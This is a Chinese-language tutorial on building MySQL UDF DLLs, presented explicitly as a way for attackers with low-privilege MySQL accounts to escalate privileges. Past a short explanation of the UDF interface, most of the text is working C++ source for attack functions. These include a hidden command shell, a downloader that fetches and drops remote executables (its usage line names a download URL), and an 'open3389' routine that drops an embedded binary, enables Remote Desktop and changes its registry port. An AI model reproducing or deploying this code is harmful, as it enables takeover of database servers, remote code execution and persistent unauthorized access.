UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就象使用本地MYSQL函数abs()或concat()。当你需要扩展MYSQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限mysql账号时比较好用的一种提权方法。
原理
MySQL添加新函数:
1.自定义函数(UDF):使得UDF机制能够起作用,必须使用C或者C++编写函数,系统必须支持动态加载。UDF中xxx函数的编写,来实现接口的C/C++ 函数如下:
(1)xxx() (必有):主函数。
SQL 类型 C/C++ 类型
STRINGchar *
INTEGERlong long
REALdouble
(2)xxx_init() (可选):初始化函数
检查传递给xxx()的参量数目。
检查参量是否为必需的类型,或者,除此之外,在主函数被调用的时候告诉MySQL将参量强制为想要的类型。
分配主函数需要的内存。
指定结果的最大长度。
指定(对于REAL 函数)小数的最多位数。
指定结果是否可以为 NULL
(3)xxx_deinit() (可选):去初始化,释放初始化函数分配的内存。
(4)xxx_clear()未研究
(5)xxx_add() 未研究
2.创建存储函数
注意事项:
1.主函数xxx()
对于STRING 型函数:
char *xxx(UDF_INIT *initid, UDF_ARGS *args,
char *result, unsigned long *length,
char *is_null, char *error);
对于INTEGER型函数:
long long xxx(UDF_INIT *initid, UDF_ARGS *args,
char *is_null, char *error);
对于REAL型函数:
double xxx(UDF_INIT *initid, UDF_ARGS *args,
char *is_null, char *error);
2.UDF变量类型说明UDF_INIT、 UDF_ARGS、my_bool
type char my_bool
enum Item_result {STRING_RESULT=0, REAL_RESULT, INT_RESULT, ROW_RESULT,DECIMAL_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments- -参数个数 */
enum Item_result *arg_type; /* Pointer to item_results --参数类型*/
char **args; /* Pointer to argument--参数指针 */
unsigned long *lengths; /* Length of string arguments--参数长度 */
char *maybe_null; /* Set to 1 for all maybe_null args --1表示空,是否表示空*/
char **attributes; /* Pointer to attribute name --参数属性的指针*/
unsigned long *attribute_lengths; /* Length of attribute arguments --指向内容的长度*/
void *extension; /*扩展指针*/
} UDF_ARGS;
typedef struct st_udf_init
{
my_bool maybe_null; /* 1 if function can return NULL--返回值可为空 */
unsigned int decimals; /* for real functions --设置小数点后长度*/
unsigned long max_length; /* For string functions --结果返回最大长度*/
char *ptr; /* free pointer for function data --字符指针,一般init内分配的内存地址给ptr*/
my_bool const_item; /* 1 if function always returns the same value --是否返回固定结果*/
void *extension;
} UDF_INIT;
3.查看3389是否开启:netstat -ano -p tcp | find "3389" >nul 2>nul && echo 3389 open! || echo 3389 not open!
流程
1.安装mysqlsdk
2.vc6.0,;其中从sdk中添加额外的头文件:mysql.h、my_alloc.h、my_list.h、mysql_com.h、mysql_time.h、mysql_version.h。
3.参考mysql-udf文档:http://dev.mysql.com/doc/refman/5.1/zh/extending-mysql.html#udf-calling
细节
MYSQL有一个开发包,它定义了自己的接口,变量类型,以及函数执行顺序.根据提权,UDF大致功能有:cmdshell、downloader、open3389 、backshell 、ProcessView 、KillProcess 、regread 、regwrite 、 关机,注销,重启、about。
UDF函数使用:CREATE function 函数 returns string soname 'myudf.dll';select 函数(参数)
cmdshell:create function cmdshell returns string soname 'myudf.dll'; select cmdshell('netstat');
download: create function download returns string soname 'myudf.dll'; select download('http://10.0.0.1/a.exe','d:\\c.exe');
程序代码:
【cmdshell】
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0)
{
initid->ptr=(char *)malloc(200);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"执行CMD Shell函数.\r\n例:select cmdshell(\"dir c:\\\\\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");
*length=strlen(initid->ptr);
return initid->ptr;
}
int RunStatus=0;
char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];
DWORD size=0,len;
HANDLE hFile;
GetSystemDirectory(ShellPath,MAX_PATH-1);
strcat(ShellPath,"\\cmd.exe");
GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);
strcat(TempFilePath,"\\2351213.tmp");
cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);
//形成命令:‘cmd /c 命令 > 临时文件’
strcpy(cmdline," /c ");
strcat(cmdline,(args->args)[0]);
strcat(cmdline,">");
strcat(cmdline,TempFilePath);
STARTUPINFO si; //结构用于指定新进程的主窗口特性
ZeroMemory( &si, sizeof(si) );
si.wShowWindow=SW_HIDE;
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);
free(cmdline);
if(!RunStatus)
{
itoa(GetLastError(),temp,10);
sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp);
initid->ptr=(char *)malloc(strlen(temp)+1);
strcpy(initid->ptr,temp);
(*length)=strlen(initid->ptr);
return initid->ptr;
}
WaitForSingleObject(pi.hProcess,30000);
//获得结果
hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if(hFile!=INVALID_HANDLE_VALUE)
{
size=GetFileSize(hFile,NULL);
initid->ptr=(char *)malloc(size+100);
ReadFile(hFile,initid->ptr,size+1,&len,NULL);
(initid->ptr)[size]='\0';
strcat(initid->ptr,"\r\n--------------------------------------------完成!\r\n");
CloseHandle(hFile);
DeleteFile(TempFilePath);
}
else
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"\r\n--------------------------------------------完成!\r\n");
}
(*length)=strlen(initid->ptr);
return initid->ptr;
}
extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
}
【download】
extern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || stricmp(args->args[0],"help")==0)
{
initid->ptr=(char *)malloc(200);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"下载者函数\r\n例:select downloader(\"http://www.baidu.com/server.exe\",\"c:\\\\winnt\\\\system32\\\\ser.exe\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");
*length=strlen(initid->ptr);
return initid->ptr;
}
HANDLE hFile;
char path[MAX_PATH];
strcpy(path,(args->args)[1]);
hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,Create_ALWAYS,0,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
initid->ptr=(char *)malloc(100+strlen(path));
sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path);
*length=strlen(initid->ptr);
return initid->ptr;
}
CloseHandle(hFile);
DeleteFile(path);
if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK)
{
initid->ptr=(char *)malloc(50+strlen(path));
sprintf(initid->ptr,"下载文件成功(%s).",path);
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
initid->ptr=(char *)malloc(100+strlen((args->args)[0]));
sprintf(initid->ptr,"下载文件出现错误,可能是网络原因(%s).",(args->args)[0]);
*length=strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void downloader_deinit(UDF_INIT *initid)
{
if(initid->ptr)
free(initid->ptr);
}
【open3389】
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)
{
if(!(args->arg_count==0 ||(args->arg_count==1 && args->arg_type[0]==INT_RESULT)))
{
initid->ptr=(char *)malloc(200);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"通用开3389终端服务.修改端口需重启后生效.\r\n例:select open3389([端口]);");
*length=strlen(initid->ptr);
return initid->ptr;
}
HRSRC hrsrc1;
HGLOBAL hglobal1;
HANDLE hFile;
char path[MAX_PATH];
DWORD size,size2;
GetEnvironmentVariable("temp",path,MAX_PATH-1);
strcat(path,"\\457391.exe");
hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN1), "BIN");
if(hrsrc1==NULL)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"查找资源出错,open3389无法继续运行.");
*length=strlen(initid->ptr);
return initid->ptr;
}
size=SizeofResource((HMODULE)g_module, hrsrc1);
hglobal1=LoadResource((HMODULE)g_module, hrsrc1);
if(hglobal1==NULL)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"载入资源出错,open3389无法继续运行.");
*length=strlen(initid->ptr);
return initid->ptr;
}
hFile = CreateFile(path,GENERIC_WRITE,0, NULL,Create_ALWAYS,0,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"创建临时文件出错,open3389无法继续运行.");
*length=strlen(initid->ptr);
return initid->ptr;
}
WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL);
CloseHandle(hFile);
GlobalFree(hglobal1);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.wShowWindow=SW_HIDE;
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
bool RunStatus=CreateProcess(path,NULL,NULL,NULL,FALSE,0,0,0,&si,&pi);
if(!RunStatus)
{
DeleteFile(path);
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"运行临时文件出错,您的权限可能不够.");
*length=strlen(initid->ptr);
return initid->ptr;
}
WaitForSingleObject(pi.hProcess,5000);
DeleteFile(path);
//改端口
if(args->arg_count!=0 && args->arg_type[0]==INT_RESULT)
{
HKEY key;
DWORD dwDisposition;
DWORD port=*((long long *) args->args[0]);
RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);
if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))
{
RegCloseKey(key);
RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);
if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))
{
RegCloseKey(key);
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"成功开启3389终端服务....\r\n成功修改终端服务端口为%d,重启后生效,重启系统可利用WindowsExit函数.",port);
*length=strlen(initid->ptr);
return initid->ptr;
}
}
RegCloseKey(key);
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"成功开启3389终端服务....\r\n修改终端服务端口失败.");
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"成功开启3389终端服务.\r\n");
*length=strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)
{
if(initid->ptr)
free(initid->ptr);
}
。。。待续